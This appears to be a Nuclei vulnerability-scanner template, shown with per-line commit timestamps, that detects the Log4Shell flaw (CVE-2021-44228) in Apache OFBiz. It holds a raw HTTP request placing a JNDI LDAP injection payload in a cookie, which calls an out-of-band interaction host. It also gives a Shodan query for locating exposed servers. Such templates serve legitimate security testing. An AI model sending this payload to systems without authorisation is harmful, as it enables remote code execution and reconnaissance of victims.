2021-12-18 10:16:49 +00:00
id : apache-ofbiz-log4j-rce
info :
2022-10-10 19:51:42 +00:00
name : Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)
2021-12-18 10:16:49 +00:00
author : pdteam
severity : critical
2022-05-31 08:44:19 +00:00
description : |
Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
2022-05-24 16:38:03 +00:00
reference :
- https://issues.apache.org/jira/browse/OFBIZ-12449
- https://ofbiz.apache.org/
2022-07-16 17:08:08 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-10-25 14:05:39 +00:00
remediation : Upgrade to Apache OFBiz version 8.12.03 or later.
2022-05-24 16:41:22 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2022-10-25 14:05:39 +00:00
cvss-score : 10
2022-10-10 19:51:42 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2022-07-18 06:34:47 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-07-18 06:34:47 +00:00
shodan-query : http.html:"Apache OFBiz"
2022-10-10 20:06:39 +00:00
tags : cve,cve2021,ofbiz,oast,log4j,rce,apache,jndi,kev
2021-12-18 10:16:49 +00:00
2023-05-03 11:51:48 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2021-12-18 10:16:49 +00:00
- raw :
- |
GET /webtools/control/main HTTP/1.1
Host : {{Hostname}}
2023-05-04 05:35:06 +00:00
Cookie : OFBiz.Visitor=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookie.{{interactsh-url}}}
2021-12-18 10:16:49 +00:00
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
2023-05-03 11:51:48 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2021-12-18 10:16:49 +00:00
extractors :
2023-05-04 05:35:06 +00:00
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
- type : regex
part : interactsh_request
group : 2
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
2021-12-18 10:16:49 +00:00
- type : regex
part : interactsh_request
group : 1
regex :
2023-05-03 11:51:48 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output